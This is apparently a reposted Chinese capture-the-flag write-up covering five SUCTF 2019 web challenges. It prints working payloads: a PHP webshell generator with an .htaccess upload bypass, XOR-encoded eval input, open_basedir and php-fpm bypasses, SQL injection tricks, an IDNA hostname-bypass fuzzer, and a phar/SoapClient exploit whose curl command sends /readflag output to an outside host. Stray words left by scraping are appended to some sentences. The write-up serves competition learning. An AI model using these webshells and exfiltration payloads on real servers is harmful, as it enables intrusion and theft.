2019-SUCTF-web記錄

1.web1-chkin

首先發現服務器中間件爲nginx,而且fuzz上傳過濾狀況,是黑名單,帶ph的所有不能上傳切對文件內容中包含<?進行過濾,而且服務器對文件頭有exif_type的判斷,直接經過xbm格式繞過,傳.htaccess和.user.ini是能夠的,又由於此題爲nginx,因此經過.user.ini結合文件夾中已經有的index.php使其包含上傳的shell.png來getshell便可php

2.web2-easyphp

作的時候思路也很明確,經過eval來調用get_the_flag函數,只須要異或出一個_GET便可,這裏傻了剛開始一直覺得異或獲得字符串必須在url中經過'單引號或者雙引號來包含着這些能夠用的字符,由於這些字符有特殊含義,因此瀏覽器解碼之後不能直接用,由於我fuzz異或字符時是以可打印字符爲payload的,實際上這裏要用到不可打印字符,這樣瀏覽器即便解碼也不會把其識別成有特殊含義的字符html

上面是異或出來的可見字符,固然這些字符大多數有特殊含義,在瀏覽器端不能直接使用,要用的話也要讓單引號包含着,看成字符串,可是這裏是沒有單引號或者雙引號的python

全部可打印字符的ascii碼值爲,只要是在這個範圍內的字符,所有都會被瀏覽器解碼爲可見字符,所以能夠在這個字符範圍內進行異或字符的fuzzmysql

['61', '62', '63', '64', '65', '66', '67', '68', '69', '6a', '6b', '6c', '6d', '6e', '6f', '70', '71', '72', '73', '74', '75',
'76', '77', '78', '79', '7a', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4a', '4b', '4c', '4d', '4e', '4f', '50',
'51', '52', '53', '54', '55', '56', '57', '58', '59', '5a']

上圖是fuzz出來的能夠用的payload,能夠看到能夠用的payload,很是多,就拿第一個試試吧成功執行了phpinfonginx

payload爲:git

${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

fuzz異或的腳本以下所示:web

import string ee= string.printable a= map(lambda x:x.encode("hex"),list(ee)) _=[] G=[] E=[] T=[] print list(ee) for i in range(256): for j in range(256): if (chr(i) not in list(ee)) & (chr(j) not in list(ee)): tem = i^j if chr(tem)=="_": temp=[] temp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:]) _.append(temp) if chr(tem)=="G": temp=[] temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:]) G.append(temp) if chr(tem)=="E": temp=[] temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:]) E.append(temp) if chr(tem)=="T": temp=[] temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:]) T.append(temp) print _ print G print E print T

這裏就能夠執行get_the_flag函數了,就進入第二層sql

第二層是shell

function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }

第二層和第一個題基本類似,ph全過濾,數據庫

可是能夠上傳.htaccess,所以可使用

#!/usr/bin/python3 # Description : create and bypass file upload filter with .htaccess # Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337 #SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(SIZE_HEADER) phpfile.write(script.encode('utf-16be')) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .ppp\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("webshell.ppp", "<?php eval($_GET['cmd']); die(); ?>")

 拿到shell之後,這道題還有三種作法:

1.openbase_dir的限制,所以還要先繞過openbase_dir,

這裏由於出題人disable_function的過濾不嚴,也能夠經過

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

來進行bypass列目錄,而後再跳一次進行讀取flag便可

2.直接經過繞過disable_dunction來進行繞過openbase_dir,這裏出題人沒過率好

3.預期解是經過攻擊php-fpm的unix套接字來進行繞過openbase_dir和繞過disable_function,由於php-fpm一般就兩種運行模式,fast-cgi和unix套接字模式運行,因此這裏能夠直接用p神的腳本,更改一下php_value的值便可

 

須要將這個默認文件改成unix套接字的路徑

php7.2-fpm.sock默認在,unix:///run/php/php7.2-fpm.sock

可是0ctf中也出現過在其餘目錄,如/var/run/php/下,

'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',

3.easy_sql

這道題拿上我就直接嘗試的是短路型注入方式,length(database())={},根據返回1或者0來判斷邏輯,可是後面就遇到問題了,能夠跑出來庫名爲CTF,要跑表

可是限制了payload長度,所以無法繼續注入去拿表名,而且from也是過濾了,還想過是否是能夠直接猜想字段名經過substr(flag,1,1)這種來拿到flag,可是flag關鍵詞也被過濾了,猜想了幾個其它的字段也沒用

這裏也嘗試過load_file,load_file('/flag')來嘗試,可是也沒反應,後面堆疊是能夠查表查字段的,可是flag過濾了,prepare限制了sql語句的長度,也涼涼

這裏把Flag字符串直接進行過濾了,強網杯也出過這種題,嘗試預編譯:

payload還沒輸完就報長度限制了,所以這種方法也不行

這裏有隊伍掃出源碼了,.index.php.swp,我用dirsearch沒掃到,得換個工具再掃一次。。

過濾關鍵詞在這裏

$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|fr om|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";  

查詢語句如上圖所示,能夠看到是支持堆疊查詢的,感受預期解應該是堆疊注入,然而並非,是一個新的知識點

 預期解爲:

1;set sql_mode=pipes_as_concat;select 1

即將||或邏輯轉爲字符串鏈接,那麼將會把任意傳遞的query內容和flag進行拼接返回

 

這題沒有過濾*,致使非預期很嚴重,*,1直接能夠出flag。,若是過濾好的話,這道題估計仍是得猜邏輯

和字符串或時前面爲1則返回1,前面爲0則返回0,變爲pipes_as_concat之後||就成了鏈接符了,仍是一個比較新的點。

 4.pytohnginx

看到題目第一眼立馬想到blackhat2019剛出來的這個unicode編碼的洞

這裏以前不瞭解python的urllib.request.urlopen的截斷,這裏不存在的目錄的話會直接截斷致使無法讀取文件,我剛開始選擇是

那麼轉化之後c/o,o這個文件夾確定是不存在的,所以無法讀取,urlopen打開文件夾進行目錄穿越時必須是存在的目錄

 

 好比上面這個app目錄是存在的,題目的nginx配置文件以下圖所示

這裏有如下幾種解法:

1.直接經過轉換一個像c的字符,來進行讀文件,delta的exp就是利用unicode字符範圍來嘗試出可使用的字符串

from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass
def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=="__main__": get_unicode()

隨便選其中一個就能夠,而後訪問:

能夠看到此時達成的效果是相同的

2.第二種就是多轉爲一個/,利用file://suctf.cc/usr/local/nginx/conf/nginx.conf先讀nginx的配置文件,而後能夠看到flag的位置在/usr/fffffflag,而後再讀flag便可,這裏不要移位nginx的配置文

件只是爲/etc/nginx/nginx.conf,剛開始我不知道urlopen不存在的目錄會截斷==

3.利用file:////suctf.cc/etc/passwd來繞過,那麼urlparse解析的時候將沒法取到hostname

而後第二步將url分割,分割出來仍是空,所以前兩個if判斷很容易bypass

通過第三步,此時finalurl和host都是知足條件的,主要是仍是由於前面urlspilt時去掉了中間的兩個//

而後進行任意文件讀取便可,這個也是非預期,感受比較有意思

5.uoload labs

這道題開了一會給源碼了

其中index.php,限定了後綴,而且返回上傳路徑,對上傳文件內容檢測<?

func.php中,會對咱們提交的文件地址進行訪問

並調用getMIME函數進行文件內容檢測,這裏實際上猜也能猜到確定這裏存在phar反序列化,由於後面的admin.php限定了訪問的ip地址

所以這裏天然想到考了不少次的SoapClient反序列化,那麼剛好這個File類又存在__wakeup函數

所以在反序列化時將會經過反射類機制實現類的實例化,而且調用類對象的check的函數,這裏咱們能夠經過$this->func=「SoapClient」,$this->file_name爲new SoapClient(null,payload)中的payload傳入便可,而且調用不存在的check函數,從而發起soap請求,那麼如今外層的思路已經清晰了,經過phar反序列化觸發soap請求,那麼這裏讀取文件的時候又進行了限制:

 

這裏過濾了不少協議,phar://,conpress.bzip2,conpress.zlib都過濾了

所以能夠用:

php://filter/resource=phar://

來繞過過濾,從而來觸發phar反序列化,那麼序列化鏈條已經好了,如今要構造內部數據,先貼一個exp(針對buu平臺復現的,有所修改):

<?php system('rm -f 222.phar;rm -f *.gif'); $phar = new Phar('333.phar'); $phar->startBuffering(); $phar->addFromString('333.txt','text'); $phar->setStub('<script language="php">__HALT_COMPILER();</script>'); class File { public $file_name = ""; public $func = "SoapClient"; function __construct(){ $target = "http://127.0.0.1/admin.php"; $post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=qS1LKY"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n"; $headers = []; $this->file_name  = [ null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello') ]; } } $object = new File; echo urlencode(serialize($object)); $phar->setMetadata($object); $phar->stopBuffering(); system('mv 222.phar 222.gif');

 首先soap的內部數據,主要是訪問admin.php時須要post過去的數據

這裏調用將傳遞到admin.php的參數進行實例化了AD類,在這個類中,又經過反射類來實例一個對象,並經過該實例化的對象來調用反射出來的該類的方法,所以只要知足傳遞過去的clazz類存在而且傳給該類的函數的參數能夠爲一個就行,這裏能夠直接用splstack類,就是php語言實現的一個棧數據類型的類,咱們只須要隨便調用其中一個方法便可,好比push方法,將數據壓入棧中。

clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=

即這一個部分就能夠構造好了,在用buuoj的平臺測試的時候要注意cmd參數要適當轉義

curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=qS1LKY"

這裏一個部分要將&換爲%26,防止命令行下將&識別爲命令連接符號,好比ls & id,將執行兩條命令,這裏還要注意題目中對要讀取的文件內容進行了一個過濾<?,那麼在phar的stub中,也就是標誌phar包的標誌中:

$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>"); //設置stub

因此只須要保證後面的一部分結尾正確便可。

或者可使用前面題目中的<script language="php">來繞過

接下來直接生成exp進行測試便可,又能夠收到flag了

然而這個不是預期解,預期解是:

$m = new mysqli();
$m->init();
$m->real_connect('ip','數據庫帳號','數據庫密碼','數據庫',3306);
$m->query('select 1;')//執行的sql語句

其實是與下圖的check函數是對應起來的

這樣結合在vps搭建一個rouge mysql服務器就可以對客戶端文件進行讀取了,那麼沒設計好的是__destruct函數,這個析構函數在程序執行結束後也會執行一次,zedd師傅在後面也改爲了__wakeup函數

 正常狀況下不執行__wakeup()

 只有反序列化的時候會執行__wakeup(),而後執行__destruct(),而後程序運行結束銷燬對象,在執行一次__destruct函數

關於mysql 客戶端攻擊連接:

https://paper.seebug.org/998/

原文出處:https://www.cnblogs.com/tr1ple/p/11373037.html

相關文章
相關標籤/搜索